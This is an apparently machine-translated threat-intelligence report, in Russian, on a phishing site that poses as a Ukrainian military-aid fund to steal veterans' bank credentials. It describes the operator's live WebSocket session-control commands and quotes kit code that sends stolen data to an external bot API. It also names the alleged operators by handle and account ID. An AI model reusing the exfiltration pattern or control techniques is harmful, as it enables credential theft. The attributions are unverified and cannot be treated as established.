Что обнаружил THE ENABLERS REGISTRY

20 марта 2026 года конвейер автоматического обнаружения угроз THE ENABLERS REGISTRY зафиксировал [REDACTED][.]sbs — недавно зарегистрированный домен, на котором размещен фишинговый сайт, выдающий себя за «Щит Защитника» («Щит защитника») — фиктивный фонд, якобы оказывающий военную помощь Украине. Сайт ориентирован на украинских ветеранов, раненых в боях и семьи погибших солдат; под видом обещаний государственной финансовой помощи он похищает банковские учетные данные пяти крупнейших банков Украины.

Ниже приводится полный перечень всех фактов, выявленных в ходе нашего автоматизированного анализа: методы социальной инженерии, техническая инфраструктура, система управления операторами в режиме реального времени, а также личности людей, стоящих за этим проектом.

Раздел 1: Приманка — «Фонд фальшивой военной помощи»

Домен [REDACTED][.]sbs была зарегистрирована 20 марта 2026 года посредством [REDACTED], регистратор, который, как неоднократно подтверждалось, медленно реагирует на сообщения о злоупотреблениях или вовсе не реагирует на них. Данный .sbs TLD (Side-By-Side) — это недорогой gTLD, который часто используется для создания одноразовой фишинговой инфраструктуры.

Сайт позиционирует себя как профессиональный портал помощи, связанный с государственными структурами. В верхней части страницы размещен украинский флаг, военная символика придает сайту достоверность, а текст страницы тщательно составлен на украинском языке с использованием бюрократических формулировок, характерных для официальных государственных программ.

Скриншот 5 — Целевая страница фишингового сайта, выдающего себя за «Щит Защитника».

Чтобы укрепить доверие, операторы сфабриковали счетчик статистики, который был размещен на видном месте на главной странице:

• 2 847 заявок — что означает, что тысячи людей уже получили помощь
• Распределено ₴47,2 млн — крупная, но правдоподобная фигура в УАГ
• 19 программ — что предполагает проведение комплексной операции с участием нескольких программ

Эти цифры полностью выдуманы и жестко заложены в исходный код страницы без связи с сервером. Они служат единственной цели: создают эффект «социального доказательства», чтобы преодолеть колебания жертвы.

Раздел 2: Ловушка — 5 банков, одна цель

После нажатия кнопки «Подать заявку» (Submit Application) перед жертвой открывается экран выбора банка. В качестве вариантов предлагаются пять крупнейших розничных банков Украины, каждый из которых представлен со своим официальным брендингом и логотипом. Именно на этом этапе социальная инженерия переходит от эмоционального манипулирования к техническому хищению.

Скриншот 6 — Экран выбора банка. Каждый вариант приводит к запуску индивидуальной последовательности действий, направленной на кражу учетных данных.

Анализ пакета JavaScript сайта показал, что у каждого банка есть уникальная многоэтапная последовательность действий по сбору учетных данных, адаптированный с учётом фактического алгоритма аутентификации данного банка:

Схема атаки на каждый банк выглядит одинаково:

Снимок экрана 7 — Клонированная страница входа в систему PrivatBank.

Снимок экрана 9 — Клонированная страница входа в систему PUMB.

Скриншот 10 — Полный алгоритм атаки: от поддельной страницы о военной помощи через выбор банка до кражи учетных данных и взлома учетной записи.

Технологический стек: [REDACTED] интерфейс, предоставляемый через CDN IANA #1910, с Express.js бэкенд, отвечающий за вывод учетных данных. Архитектура React позволяет создавать плавные многоэтапные формы, которые внешне ничем не отличаются от подлинных банковских интерфейсов.

Раздел 3: Управление оператором в режиме реального времени

Это не простой инструмент для сбора учетных данных со статической базой данных. Фишинговый набор включает в себя панель управления с поддержкой WebSocket в режиме реального времени которая позволяет оператору-человеку управлять каждым сеансом жертвы в режиме реального времени.

Конечная точка WebSocket по адресу wss://[REDACTED][.]sbs/ws поддерживает следующие типы сообщений:

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

Благодаря этому управлению в режиме реального времени оператор может:

• Принудительно перевести в состояние ожидания — отображать сообщение «Обрабатывается ваша заявка...», пока они входят в систему реального банковского счета жертвы
• Перейти к конкретному шагу — повторно запросить SMS-код, если срок действия первого истек
• Показать поддельные сообщения об ошибках — «Неверный код, пожалуйста, введите его заново» — для сбора нескольких токенов двухфакторной аутентификации
• Задайте индивидуальные вопросы — запрос даты рождения, номера карты или любых дополнительных данных в ходе сеанса

Скриншот 8 — Форма ввода номера телефона, используемая для кражи учетных данных.

Скриншот 11 — Панель оператора в режиме реального времени для управления сессиями жертв.

Полный перечень данных, похищенных за один сеанс: phone, password, PIN, SMS code, card number, date of birth, и email.

Раздел 4: Что стоит за IANA #1910 — два проекта, один сервер

Прокси-сервер IANA #1910 скрывает исходный сервер, однако конвейер анализа инфраструктуры THE ENABLERS REGISTRY определил истинный IP-адрес исходного сервера: 45.131.214[.]148, размещенный на RapidSeedbox / LeaseWeb в Нидерландах.

Важная деталь: [REDACTED][.]sbs осуществляется через прокси IANA #1910, скрывая свой IP-адрес источника. Но наша система также отслеживает hlpforvpeople[.]sbs — связанный домен, зарегистрированный через того же регистратора IANA #3765 с совпадающими шаблонами. Этот домен — НЕ за IANA #1910, прямо раскрывая свой исходный IP-адрес: 45.131.214[.]148.

Прямое подключение к этому IP-адресу — без Host заголовок — показал нечто неожиданное: а совершенно другой фишинговый сайт. Вместо украинской военной помощи по умолчанию обслуживался виртуальный хост «HealthCare ID», фишинговая операция, связанная с медицинским страхованием в Индонезии. Тот же сервер, совершенно другие жертвы, совершенно другая страна.

Снимок экрана 12 — Две параллельные фишинговые операции, использующие один и тот же сервер происхождения: украинская военная помощь ([REDACTED]) и индонезийское медицинское страхование (HealthCare ID).

Шаблон фишингового сообщения из Индонезии представляет собой известный набор, отслеживаемый в базе данных THE ENABLERS REGISTRY по анализу угроз. Мы наблюдали различные варианты именно этого шаблона, используемые в странах Юго-Восточной Азии — в частности, в отношении финансовых учреждений Индонезии, Таиланда и Вьетнама. Злоумышленники просто заменяют шаблоны, адаптированные под конкретную страну, при этом продолжая использовать одну и ту же бэкэнд-инфраструктуру.

Раздел 5: Файл config.json, который раскрыл всё

Вот как один-единственный файл с неправильными настройками привел к срыву всей операции — шаг за шагом.

После выявления второго проекта исходного сервера THE ENABLERS REGISTRY JS-анализатор — наш инструмент для автоматического анализа JavaScript — был нацелен на набор кода индонезийского фишингового сайта по адресу https://45.131.214[.]148/assets/index-ZMQxHb_h.js. Анализатор извлек все конечные точки API, внешние URL-адреса и пути к файлам конфигурации из JavaScript-файла размером 335 КБ. Среди выявленных результатов:

• Пять конечных точек API по адресу [REDACTED] — панель C2 для проверки учетных данных
• Соединение WebSocket с wss://rezervtemka[.]cc
• Интеграция Facebook Pixel для отслеживания жертв
• Ссылка на /config.json — загружается во время выполнения для настройки бота в [REDACTED]

Следуя этой зацепке, мы получили /config.json с исходного IP-адреса. Доступ к файлу был возможен без какой-либо аутентификации — он находился в корневом каталоге веб-сайта и был доступен для чтения любому:

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.[REDACTED].org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

Этот /config.json доступ к файлу был возможен напрямую с исходного IP-адреса — никакой аутентификации, никакого контроля доступа — просто обычный файл JSON, расположенный в корневом каталоге веб-сайта:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

Токен бота в [REDACTED] одновременно является и именем пользователя, и паролем. Любой, у кого есть этот токен, может выполнять запросы к API от имени этого бота. Операторы оставили свои токены в общедоступном файле. После шести вызовов API у нас было всё:

Скриншот 13 — Полная цепочка OSINT: от уязвимого файла config.json до полной идентификации оператора за 6 вызовов API.

От одного неправильно настроенного файла до полной идентификации оператора за шесть HTTP-запросов. Никаких уязвимостей, никакого несанкционированного доступа — всего лишь стандартные вызовы API-интерфейса бота [REDACTED] с использованием токена, который сами операторы оставили открытым.

Раздел 6: Операторы

Скриншот 14 — Группа операторов [REDACTED] «Idr card», раскрытая благодаря утечке токена бота.

Владелец / Создатель

МОНЕТТИ ЭСКОБАР

@monettiescobar

Идентификатор в [REDACTED]: 8135223234

[REDACTED] Premium, бизнес-профиль

Часовой пояс: UTC+3 (регион СНГ)

10 публичных сообщений — строгие меры по обеспечению оперативной безопасности (OPSEC)

Чат TraFFeeQMedusa Google AdsКанал «Deepfakes»

Оператор / Управление движением

Боня

@BoaCC159

Идентификатор в [REDACTED]: 6242202706

Также известен как: PapaZakonVor, Boa, bubullikk

261 сообщение в 12 группах

DC2 — Амстердам, Нидерланды

CryptoGrabРынок STYXRaven CCЧАТ «EMPIRE»Решение «Феникс»

Разработчик / Программист

Девойс

@devosus

Идентификатор в [REDACTED]: 8213612730

Разработчик фишингового набора — операторы называют его «кодером»

При обнаружении взлома следует «подумать о мерах защиты»

Минимальное воздействие на окружающую среду благодаря специальной конструкции

Ручка @devosus ≈ «dev ops us» — название должности в качестве имени пользователя

Разработчик набораИнфраструктураБезопасность

МОНЕТТИ ЭСКОБАР — Босс

MONETTI соблюдает строгие меры оперативной безопасности — только 10 публичных сообщений по двум группам. Но эти группы говорят сами за себя: Чат TraFFeeQ (арбитраж трафика с целью мошенничества), Medusa Google Ads (недобросовестное использование Google Ads) и Канал «Deepfakes». В его бизнес-профиле в [REDACTED] указано «Есть предложение» («У меня есть предложение») — открыто рекламирующие свои услуги. Часовой пояс UTC+3 (соответствующий Москве, Минску и Киеву) и круглосуточный режим работы подтверждают, что компания базируется в странах СНГ и работает без перерыва.

Боня — Беспечный

В отличие от тщательной политики оперативной безопасности (OPSEC), которой придерживался МОНЕТТИ, Бонья (прежнее псевдоним: ПапаЗаконВор — что-то вроде «Папа-вор по закону») оставил огромный цифровой след — 261 сообщение в 12 подпольных группах. Его история чата напоминает криминальное резюме:

Его членство в различных организациях позволяет составить полное представление: CryptoGrab (злоумышленники, опустошающие криптовалютные кошельки), Рынок STYX (подпольный рынок украденных данных), Проверка Raven CC (инструменты проверки кредитных карт), ЧАТ «EMPIRE» и Решение «Феникс» (координация мошеннических действий). Речь идет не о разовом правонарушителе, а о человеке, глубоко вовлеченном в экосистему киберпреступности.

Devoys — разработчик

Техническая основа всей операции. По замыслу — минимальное внешнее присутствие. Когда в группу проникли, Боня прямо обратился к нему: «@devosus, подумай о защите, пока нам задницу не разорвали» — «@devosus, давай подумаем об обороне, пока нас не разгромили». Его саркастическая реакция на этот инцидент — «когда в Интерпол» («Когда проводить интерполяцию») — это говорит о том, что это не первый раз, когда они едва избежали беды.

Анализ поведения: расшифровка 261 сообщения

Конвейер OSINT от THE ENABLERS REGISTRY собрал и перевел все 261 публичное сообщение от Бони из 12 подпольных групп в [REDACTED] (июнь 2024 г. — март 2026 г.). Машинный перевод с помощью API DeepL с ручной корректировкой с учётом контекста. Сообщения раскрывают полную картину его деятельности — ниже они сгруппированы по видам преступной деятельности.

Банковское мошенничество и фишинг

«Денежные мулы» и вывод средств

Мошенничество с трафиком и злоупотребление рекламой

МОНЕТТИ ЭСКОБАР: «Безмолвный босс»

В отличие от 261 сообщения Бони, у MONETTI всего лишь 10 публичных сообщений — всё в одном потоке на Чат TraFFeeQ (Арбитраж трафика с использованием черных методов ADS/SEO), в защиту коллеги:

Остальное можно узнать в [REDACTED]-группах MONETTI: Medusa Google Ads (мошенничество в сфере PPC с использованием методов «черной шляпы»), а Канал «Deepfakes» (синтетические средства для совершения мошенничества), и ЧАТ «MARLBORO» (закрытый, неизвестен). Подписка на [REDACTED] Premium, круглосуточная работа и «Есть предложение» («У меня есть предложение») Биографии предпринимателей рисуют образ человека, который рассматривает киберпреступность как полноценный бизнес.

Скриншот 2 — Профиль MONETTI в [REDACTED].

Скриншот 3 — Профиль Бони. Обратите внимание на DC2 (Амстердам).

Раздел 7: «Комната паники»

После того как THE ENABLERS REGISTRY получил доступ к группе операторов через уязвимый бот в [REDACTED], произошел следующий обмен сообщениями. Приведенная ниже переписка переведена на английский язык, при этом исходный русский текст сохранен курсивом. Идентификационные данные, использованные для доступа, были замазаны.

Группа была удалена в течение нескольких минут. Прощальное подтверждение Бони — «+» — и ответ Девойса «да» говорят сами за себя: они понимали, что их раскрыли, и единственным выходом для них было уничтожить улики. Но к тому моменту данные уже были собраны.

Обратите внимание на показательный комментарий Бони: «Нас также атаковали через украинский бот» — что подтверждает: оба проекта (украинский и индонезийский) обслуживаются одной и той же командой операторов, и это не первый случай, когда их инфраструктура подвергалась взлому.

Раздел 8: Что это показывает

Хронология расследования

Связанные домены

В ходе нашего анализа была выявлена вторая область — hlpforvpeople[.]sbs — зарегистрированы через одного и того же регистратора с одинаковыми схемами инфраструктуры. Оба домена занесены в нашу базу данных:

• Отчет THE ENABLERS REGISTRY: [REDACTED][.]sbs
• Отчет THE ENABLERS REGISTRY: hlpforvpeople[.]sbs

Основные выводы

• Автоматизация — это единственный способ не отставать от времени. Фишинговые наборы развертываются и готовятся к использованию в течение нескольких часов. Ручная проверка не способна обеспечить необходимую масштабируемость.
• Операторы допускают ошибки. Файл конфигурации, оставленный без надлежащей защиты в одном из второстепенных проектов, позволил раскрыть целую многонациональную фишинговую операцию. Обеспечить безупречную оперативную безопасность (OPSEC) во всех проектах очень сложно.
• Социальная инженерия развивается в такт новостному циклу. Война, гуманитарная помощь и государственные программы всё чаще используются в качестве приманок для фишинга, поскольку они нацелены на людей, оказавшихся в бедственном положении, которые с меньшей вероятностью будут сомневаться в их легитимности.
• Повторное использование инфраструктуры — это норма. Один сервер, два фишинговых проекта, две страны, одни и те же операторы. Анализ связей между элементами инфраструктуры позволяет выявить гораздо больше, чем анализ отдельного домена в изоляции.

Отказ от ответственности: Данное расследование проводилось исключительно с помощью пассивной разведки и общедоступных API. Несанкционированный доступ к каким-либо системам не осуществлялся. При вызовах API-интерфейса бота [REDACTED] использовался токен, который операторы публично раскрыли в неаутентифицированном конечном пункте. Все доменные имена в данной статье были обезврежены в соответствии со стандартной практикой в области информационной безопасности.